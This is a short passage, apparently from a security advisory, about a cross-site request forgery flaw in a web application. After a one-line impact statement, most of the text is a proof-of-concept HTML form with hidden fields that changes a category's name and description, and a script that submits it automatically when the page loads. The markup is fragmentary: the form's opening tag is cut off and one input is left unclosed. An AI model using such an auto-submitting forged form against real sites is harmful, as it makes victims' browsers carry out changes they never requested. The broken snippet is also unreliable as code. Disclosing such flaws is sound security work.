compromise of the application, theft of cookie-based authentication
credentials, disclosure or modification of sensitive data.

name="main" >
<input type="hidden" name="category[name]" value="some cat name" />
<input type="hidden" name="category[description]"

<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>
